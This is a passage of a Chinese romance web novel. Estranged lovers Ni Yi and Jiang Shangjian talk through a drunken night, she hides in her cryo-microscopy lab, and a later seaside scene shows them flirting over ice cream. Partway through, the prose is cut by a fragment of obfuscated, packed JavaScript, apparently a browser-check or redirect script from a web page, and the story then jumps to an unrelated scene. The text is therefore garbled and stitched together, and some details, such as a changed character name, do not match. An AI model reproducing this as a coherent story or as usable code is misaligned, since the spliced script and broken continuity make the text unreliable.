倪旖无法直视,她知道自己会心软,便不断闪躲带着欲望的视线,开玩笑似的缓解逐渐升温的暧昧气氛:“你痛到掉眼泪了?真没骨气。” “倪旖,你知道,我一直是最没骨气的。”蒋商鉴蹭蹭她温热腕骨肌肤,活活就像主人出差十几天都没见着的宠物大狗狗,不顾一切表露思念。 “不要说了!”倪旖赶忙大声制止,怕没把持住。 其实,“和他sex”是一块从未被撕开包装的糖,她永远希望保持期待,就是总是藏着,她防线足够脆弱,她知道被攻略差不多,现在,只要蒋商鉴说出那种话,她就会脑袋一热,要生要死都随他去的。 “倪旖。”蒋商鉴再次唤她名字,光是说她名字就很幸福。 “如果你知道会是这样的结果,当年你就不会那么做了吗?”倪旖突然冷漠。 “嗯?”蒋商鉴愣一下,笑得邪魅,他脸上早已恢复那副吊儿郎当无所谓的表情,“就算我知道结果是这样,当初我也还是会那样做。” “你非得气我?”倪旖就知道他装傻呢。 “对啊,不惹你生气你就不会记得我的。”蒋商鉴摸摸她微微湿润的眼睫,说话时全都是委委屈屈时的黏黏糊糊。 “哼,你惹我生气我也不会记得你的。”倪旖攥着拳头给他胸口锤两下,“你就是我命里的天魔星。” “那晚上还在嘛?”蒋商鉴说话时真的很像被抛弃的小狗狗。 “你还是这么没出息。”倪旖不正面回答。 “那你在不在嘛?”蒋商鉴这么傲的人难得步步紧逼撒娇。 倪旖瞥一眼刚刚发来的消息。 丁越青:等会儿还回来嘛? 倪旖果断屏蔽消息,用没药水的手摸摸他脑袋,跟训狗似的,眼神带着她自己都察觉不了的落寞,耐心温柔道:“我哪次不在呢?” “那你睡我边上?好久没夜晚躺一张床呢。”蒋商鉴醉得有点倦意。 倪旖没直面回答,只是好奇道:“你怎么这一个月突然情绪异常?” “因为你异常了。”蒋商鉴醋溜溜的。 “所以你就有危机感了?”倪旖真觉得挺可笑,他担心的不是她找对象,而是忧虑她玩真的,忘记他。 “对不起。”蒋商鉴知道她意思,她小动作他都能解读的,怎么不知道? 58.偷情 “没事,睡觉吧,我们醒了再谈谈。” 倪旖怎么会跟喝醉酒的浪荡子弟在那儿谈纯爱,一切等他醒了再说,也不知道哪根筋抽了,跑过来喝酒。 “醒来第一眼能见到你嘛?”蒋商鉴攥着她手腕不舍得松开。 “可以的。”倪旖好久没见到这么温软的蒋商鉴,他那部分没被丢掉,只是被时间藏得很深很深。 “你会骗我嘛?”蒋商鉴说着小孩子才会说的问题,表情呆愣。 “我什么时候对你说谎?”倪旖耐心回答,把手掌搓热了给他揉揉腰。 “那你还喜欢我嘛?”蒋商鉴眼里委屈要命,连眼皮都是微微发红。 “答案你不是一直知道?”倪旖掌骨抵着他髋关节小心翼翼搓揉。 “那你跟我走吧,离开这里,去国外定居。”蒋商鉴再次真诚邀请着,就算很大可能再次被拒绝。 “醒了再说,好不好?睡觉吧,乖点。”倪旖将手上难闻药水擦干净,就瞥见蒋商鉴直勾勾盯着她,一双盈满爱意的眼睛,温柔得像把星星全都盛了进去,简直要溺死在眼神里。 倪旖动作停顿,很害羞小声问:“看我干嘛?” “因为你很好看。”蒋商鉴嘟囔一声。 “嗯?”倪旖一愣,“你真直接。” “你时常到我梦里来,我就不想醒,现在你来了,我怕睡着就会醒来。”蒋商鉴情真意切,眼里能冒出蜜汁来,深情得让人受不了。 “你教过我,庄周梦蝶,是这样?”倪旖握着遥控将智能家居都关掉,连灯光也调得暗些,暧昧一下来就冲到脑袋。 “嗯,我有点困了,眼皮就像你说的,都牵手了。”蒋商鉴闭眼迷迷糊糊道。 倪旖伸出手,摸了摸蒋商鉴喝醉酒后微微浮肿的脸,手指微微发抖,然后,把他手臂抱进了怀里,脸颊亲昵蹭蹭,小声道:“蒋商鉴,你醒来不记得我就会揍你的,狠狠地揍你,好好考虑我们的关系,你再晚点我就要移情别恋了。” “等我清醒,我会说你要的答案。”蒋商鉴拇指关节蹭蹭她脸颊。 “你知道我要什么还是你希望我接受什么?”倪旖很忧虑,她们上一次就是观念不同才道路曲折,一别好几年。 “……”蒋商鉴不敢思考。 “你知道的,我可以为了权,可以为了钱,因为这本身就是稀缺的资源,可唯独不会为了你下面的那二两肉去改变信念。”倪旖很理智,情感作为交易品一文不值。 “你要的,我会给的。”蒋商鉴就这样在醉醺醺状态下说着理智的话语。 倪旖没说话,静静注视他闭眼微微困倦的模样。 要是他真的为她舍弃什么,这真的是她要得么? 一股淡淡的沫浴露清香味扑进了倪旖的鼻息,蒋商鉴睡颜离她极近,纤长卷翘的睫毛像随着平稳气息就在她眼皮子底下扇啊扇,扇得人心痒难耐。 蒋商鉴咕哝道:“十年前我们也是这样的,深夜恳谈,然后我就跑掉了。” 倪旖一向懒得为一些无足轻重的事情争辩,也不会为已经发生的事情而难过,只是情不自禁想问未来答案:“那你有没有想过……十年之后,我们会在哪儿?” 蒋商鉴转移话题:“你希望在哪儿?” 倪旖细声细语道:“我还是那个答案,十年后,我在中国,有志同道合的丈夫陪伴,有妈妈,有爸爸,有弟弟,就在这个城市,我有我的事业、家庭,我会跟他们平平淡淡生活。” 蒋商鉴脸色泛红、眼神微醺,动作却有点虚浮:“我?答案也没变,嗯?……我十年后,可能会在北马其顿……不过也不一定,也可能是阿鲁巴,斯威士兰,也可能是哥斯达黎加,佐治亚州萨凡纳,圣佩德罗德……我也不知道。” 倪旖眼里不知是欣慰还是落寞,只是淡淡道:“我知道你一直没变。” 蒋商鉴歪在倪旖手掌假寐,慢慢睁开眼睛,慵懒地说:“我也是。” 倪旖意识到自己这话说得暧昧,轻咳一声,掩饰地转移话题:“长大就会成熟点的,我没长大,你也没长大,都没学会妥协。” “一个人不可能不长大。”蒋商鉴亲昵蹭蹭她软软的掌心说。 “一个人确实不行,”倪旖很冷静说,“但两个人就行。” “有那么喜欢吗?”蒋商鉴几乎是打哑迷似的讨论他们感情归属。 “无数次。”倪旖自嘲道。 “如果没有爱得那么深,似乎就可以爱得久一些。我没法毁了自己去证明多爱你,你不也是?我们都很冷静。”蒋商鉴闭上的眼莫名就渗出眼泪。 “可在一般人看来你就是烂人一个,我和斯威士兰一样都只是你的途径站,别给我扯什么信仰不同一个爱自由一个想安定,说白了,就是年轻没玩够。我只是你现阶段能想到的、遇到过的最爱的人,是现在最想共度余生的人,不是嘛?” 倪旖偷偷擦掉委屈的泪水。 蒋商鉴哑然,过一会儿,抬手给她擦擦眼泪,轻声道:“可是我离开十年,我依旧觉得你是我遇到最爱的人,十年前是这样想的,现在也是这样想的,在未来许多个十年我依旧会这样想。” “你能保证嘛?你还要我再等几个十年?我能活多少岁?”倪旖控告。 蒋商鉴愣愣望着她,倪旖几年前是那类完全不通人情世故、甚至脑子有点秀逗的性格,现在不经意间眼里是淡淡的忧郁。 “我不知道。”蒋商鉴很无力搂着她肩膀。 “你别说你不知道。”倪旖都无力大叫,只是眼里委屈厉害。 “对不起。”蒋商鉴只是替她擦泪。 “你知道,我不需要你的道歉,我只是不懂,你非得在国外嘛?就算不想看到你恶心的父母,也不至于这样吧?”倪旖哽咽。 “我邀请你一起跟我逃跑,你没选择我,你不记得?”蒋商鉴不会被她大锅。 “你要我怎么选择你?我父母弟都在国内,我放弃绿卡就是想家。”倪旖气炸了。 “你困不困?”蒋商鉴立马转移话题,再聊下去她得爆炸。 “有点。”倪旖揉揉脑袋又整理背包里面的口红。 “你睡沙发,”蒋商鉴背过身打个困恹恹的哈切,“或者去次卧。” 倪旖叹息,嘟囔:“一夜情的女人都能上床,我不行?” “嗯,来吧,sweetie,我的床不是那么好下来的。”蒋商鉴说罢便要撩开睡袍。 倪旖慌忙挪开眼,嘟囔:“在一定范围内,你是人尽可妻的。” “因为你不是一夜情女人,你要上我的床,我得三媒六聘。”蒋商鉴认真道。 “神经病。”倪旖点点头,就准备去次卧躺着,摸着手机不知道该回复什么,转身沿着那条走廊走进房间,墙面是玫瑰色的。 倪旖懒懒洋洋地在暗红色天鹅绒的躺椅上躺下来,望着复刻版毕加索的杂乱线条抽象画,顺便从红格纹地毯上捡起一个小小的白蕾丝枕头,用脸颊软绵绵枕着,抱着手机思索一些问题。 丁越青:你有什么事要处理?明天早上还回家嘛? 倪旖好愧疚,好像偷情被老实人丈夫关心时那种窒息感和内疚感。 虽然老实丈夫也不老实。 出轨对象还是那种花花公子,绿帽子绿得发黄。 倪旖窝在被窝里,蹙着眉给爸爸打电话:“daddy,最近我都在实验室里,不接手机任何消息,让polina三餐准备好送下来,就这样。” “怎么了?缩头乌龟属性觉醒?”倪鸣在茶水间通话。 “不是不是,反正不要理我最近,我会崩溃的。”倪旖郁闷得要死。 “好,慢慢做决定,还有其他事情嘛?”倪鸣瞥一眼钟表。 “没有了,就这样。”倪旖终于松口气,她的绝招就是逃避。 倪旖处理好事情就给贾思雅打电话:“帮我跟我新导师请个假。” “喂——,你呢?有急事需要处理嘛?”贾思雅放下手头查阅文献要求,瞥了眼四周,怕说话声音太大影响其他人。 “嗯,最近没空接各种消息,就这样。”倪旖果断挂断电话。 蒋商鉴想让她过来一块聊天。 可倪旖已读不回。 蒋商鉴坐在病床等着她回消息,只是好久好久,都没一点动静,往后一倒,躺在那张柔软的床上,身体十分疲惫,闭上眼睛想好好睡一觉,可一想到倪旖,睡意完全消散,心情因为她故意不回消息而逐渐烦躁起来。 为什么一下就觉得是故意的? 夜猫子怎么可能不回消息?除非是不重要的人。 重要的人,比如她老公情人什么的,半夜都能躲沙发笑嘻嘻发消息。 就算此刻闭着眼睛,他的表情紧绷着,奇妙地糅合了焦虑和厌倦的感觉。 脑子里不由得想到倪旖,恶意揣测她拒绝回复消息的原因,是她玩腻了像要丢掉垃圾一样扔掉他嘛?是她厌恶他没有来的撒娇嘛?是她无法忍受他身上的繁琐?也许也许……一瞬间,强烈的失措令他体感内陷,几乎对外界无所知觉,只能感到血液在肢体里流动,以及各处神经同时微微膨胀。 他很怕被倪旖丢下,他爱她,光是想到这几个字蒋商鉴就难受,感觉到这答案轻浮又鲁莽,就像一巴掌打到脸上般刺痛他。 那股烦躁愈来愈胜,像冬天的冷风一样没命往骨头缝里钻。 黑暗中,蒋商鉴翻了个身,嗅到倪旖留下来的无花果香氛味道,像白垩纪时代被割开的树皮流下的奶油味,视线冰冷落在对面建筑楼亮着的灯,他靠在枕头上面无表情地盯了很久,然后掀开被子起身。 他快疯了。 蒋商鉴不知道为什么倪旖要不理他。 她逃跑速度快,是想跟什么人视频嘛?什么人如此重要让她奔跑着过去?男人?老公?孩子?就算是,又能如何?蒋商鉴自觉整个人失败透顶,像一件划痕遍布的金属器皿,连有事说话都不经意间带着破碎的词语。 沉寂在五到十秒之间很快又被同一种声音打破,手机铃声急促呼唤。 蒋商鉴一低头,胸腔里上涌一阵心酸。 蒋商鉴不是不知道他跟倪旖差距悬殊,他更适合家境类似的温婉小家碧玉,和他一样,一辈子安安稳稳死守那一点点小成就,只是人总是会不受控制地,被有强烈个性的人或事物所吸引,而自动忽略掉相似的、或者熟悉的东西。 他在年轻的时候爱上个暴烈的女孩,后来,看谁都觉得寡淡。 蒋商鉴想到倪旖,她肚子里有坏主意时眼睛就微微有点眯,嘴角隐隐藏着一缕笑,灵气顽皮厉害,她的无辜单纯眼神在说:今天愚人节,我们来玩一个死人游戏好不好?真的很好玩的,点小鸡点到谁谁去死吧。 蒋商鉴心好痛,就像冻僵的心脏在风里微微发烫,那种难熬。 “蒋教授,我睡不着。”倪旖有事相求,只好拉下面子服个软。 “年纪大了觉少。”蒋商鉴揉揉跳个不停地太阳穴。 “你帮我看个课题报告,好不好?”倪旖摇摇手机。 “不要用太多花里胡哨模板,字体最好都用粗细一样的,比如Arialic,而不要用Roman,每一页标题位置都要一样、每一个主题下字体、颜色要匹配等等,你这十年是架不住喜欢用很炫的模板嘛?” “哪有!” “逻辑混乱、跳跃性太强,让人不知所云,你要给我汇报进度时用这样的报告,你毕业答辩,我的那一票不会给你的。” 蒋商鉴喝醉酒头骨都累得慌,这么些年,他时刻关注她事业进展,最头疼的事情就是她思维太跳脱,课题报告普通人跟不上,就算有研究成果在学术会议上做主题报告都会让人代劳出风头的。 他气得要命,特地参加会议,等不到她上讲习台分享报告。 每一次! “哦。” 倪旖自以为课题报告排版还没那么惨不忍睹,但被批评得一无是处。 倪旖没等到第二天就逃跑,根本不管蒋商鉴要给她所谓她想要的答案。 她真的不敢听到不想知道的,手机电脑聊天联系软件全都退出账号,跟躲避战争灾难似的钻进实验室防空洞里,躲在一个人空间里。 实验室多了个冷冻显微镜,这东西能对人类神经退行性疾病相关的淀粉样蛋白结构进行分子认知研究。 体外纯化获得的淀粉样蛋白的单颗粒冷冻电镜结构研究不能完全代表其体内真实的分子排布,利用冷冻电子断层成像(Cryo-ET)对天然组织上淀粉样蛋白的研究可以弥补这一局限。但是,相较于冷冻电镜单颗粒分析技术,Cryo-ET的分辨率较低。 还没半天呢,玻璃隔离窗就被噔噔噔敲响。 倪旖从冷冻显微镜一抬眸。 落地窗前,长身而立。 熹微是晨曦透过落地玻璃窗照进,就像不断被放大的光圈,顺延着视线看过去,只剩下男人模糊成凌乱的光斑,日光将他裹住。 蒋商鉴修长的手指正将墨镜微微下移,露出一双迸射着寒芒的犀利眼眸,恶狠狠地剜了她一眼,眼神就很生气。 “倪旖!” 躲到天涯海角,倪旖居然忘记蒋商鉴总会把她逮回来的,一副做贼心虚抬眸转移视线,极其不情愿去细胞间换衣室更换常服,在他面前垂下脑袋就很心虚。 “不说不骗我,还是逃跑了,我还不知道你跑到哪里?”蒋商鉴探头看她躲避的目光,面前的人呢果真是属鸵鸟的,就爱逃避。 “我洗个澡再谈,你稍等。”倪旖都被灼热视线闪瞎脑袋,干净找理由躲避,随便敷衍了事冲了澡,换了套绵软的裙子。 出来时,看到蒋商鉴正坐在她工位,抱胸闭目养神,即使这样懒散的姿势,也没佝偻背,两腿随意交叠,很舒适。 “好了?”蒋商鉴头都不抬。 “嗯,就是耳朵进水,听不见话。”倪旖拍拍耳廓,跟哄傻子似的。 “那你怎么听到我的问题?”蒋商鉴静静观察她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没吃呢,来,我喂你,啊——”蒋商鉴就哄孩子似的跟她相处,她的本质就是那种大脑脱线秀逗、又活泼天真的大小姐,这种在二次元里尤为常见。 倪旖注意到他换了木匙的头,自己吃的那一头换过来了,他就是这样注意跟她在一起的每一秒,正常时候,格外有分寸,这分寸让他觉得从未走到他内心,可他就是对无关紧要的人连名字都懒得记。 “倪旖,我们今天可不可以牵手?”蒋商鉴小心翼翼问她。 “嗯。”倪箴含着冰凉的雪糕抿了抿唇,现在她就跟个略微清秀的小帅,低头一笑时小腼腆抑制喜悦坏心思的感觉。 沿海城市只要不是深冬,天跟海都透蓝透蓝的。 他俩都像小狗一样舔着海盐冰激凌,直到舌头冰得发麻。 “香草精?”倪旖抬眸望向他。 “人形的?”蒋商鉴逗她玩。 倪旖会心一笑:“哼~” “天天钓我,钓到我每种饵每种钩一眼都能认出来,我还能吃吗?”蒋商鉴都能记住倪旖说过的每一个可爱小笑话,所以来第二次时都能辨别并予以回应,她就会笑出小月牙眼睛。 倪旖不说话,小月牙都快眯眯没了。 蒋商鉴舔了好几下上唇。 “你的舌头!”倪旖很好奇。 蒋商鉴吐出舌头。 “像是跟阿凡达舌吻过了似的。”倪旖调皮耸肩膀。 “你不也是的。”蒋商鉴笑笑,指尖细细摩挲她唇。 “你不要勾引。”倪旖躲开他的手。 “谁先的?”蒋商鉴叹息。 “那你得寸进尺,我只是广撒网。”倪旖理直气壮。 “除非我假装不认识,继续吃,但那样是不是有点太不要脸了?”倪旖额头渗出薄汗的时候,蒋商鉴细致地捏着纸巾给她擦擦。 倪旖嘟囔:“你每次都吃得很香,yummy。” “可能我很贱。”蒋商鉴自我嘲弄,没半点不高兴。 “好想把你脑袋踹下来当球踢,就在教室走廊。”倪旖都无语,他总假装自惭形秽,但脸上嘲弄的表情却骄傲得欠揍,遮都遮不住。 “那这算你的过人之处?”蒋商鉴笑抽了气。 “……”倪旖瞬间无语,晃晃他衣袖,歪脑袋,“老板,冻死算工伤嘛?” 好冷的笑话啊。 “不好意思啊,我土。”蒋商鉴笑得要死,嘴角咧开都合不上。 “土一点还行,我最烦那种高智商外冷内热装逼闷骚男,你不要偷偷摸摸看小白剧受影响了。”倪旖叮嘱一番。 “……”蒋商鉴被戳中笑点,“我会看那傻叉玩意儿?我这辈子最讨厌装逼劳改犯。” “怎么突然暴躁?”倪旖察觉他情绪异常高亢。 “你老公就那种吧。”蒋商鉴嫌弃得要死。 “人家有名字,也没装逼啊,干嘛呢你?”倪旖难以理解,笑嘻嘻捏捏他气得鼓起来的腮帮子。 “没事儿,就想到你看他的眼神很不对劲。”蒋商鉴醋溜溜。 “哪张照片啊?”倪旖好奇,直愣愣盯着他。 蒋商鉴掏出手机解锁屏幕从本地照片中点击收藏夹,随后展示。 倪旖就看到照片上的她围在病床前忧心忡忡望着病床上熟睡的丁越青。 “这就是证据!”蒋商鉴喋喋不休,“狡辩吧!” “……”倪旖无意识掐着指尖隐约发痛,嗓音跟堵在咽喉似的小声,“我当时在想,就国外医生那敷衍态度,商商要是发烧没人照顾,会不会在家等死?” “嗯?”蒋商鉴原本气势汹汹瞬间错愕。 “你知道,我很渣的,没人性。”倪旖没说完其他的,自嘲,“我真不是个东西啊。” “你本来就不是东西。”蒋商鉴开玩笑,都不知道怎么办,好孩子给他带坏成这样,挺唏嘘的。 “你也不是东西。”倪旖直接怼回去,也没多大敌意,只是有点空落落的。 蒋商鉴放荡不羁的眼神和野兽一般的身材,霸道又痞气地挑逗你所有的感官,倪旖光是看一看就会爱上,不像那种呆滞怪异和运动无能的清澈愚蠢的大学生。 “……你说话时嘴角会稍微歪一边。”蒋商鉴脸上全是挑逗。 倪旖没说话,只是脸颊发烫,他每次若无其事撩拨,然后装作无辜垂眸时像发情的、攻击欲爆棚的雄性豹一样,每次这样,都令周围涌动着燠热的荷尔蒙。 “很可爱。”蒋商鉴继续调戏。 倪旖依旧没回应。 他的爱是是真的爱,但他的渣也是真的渣。 幼年的很多事情让他心理有很大问题,他就像一头失了心的野兽,一面需要别人爱他,一面自己又不愿意把爱给谁。只能通过虐待别人的精神,让别人心里只有他,但自己又不专情于任何人。 也许,倪旖是他爱过最深的。 大多数人都是对初恋持有一辈子完美滤镜的。 倪旖猜测。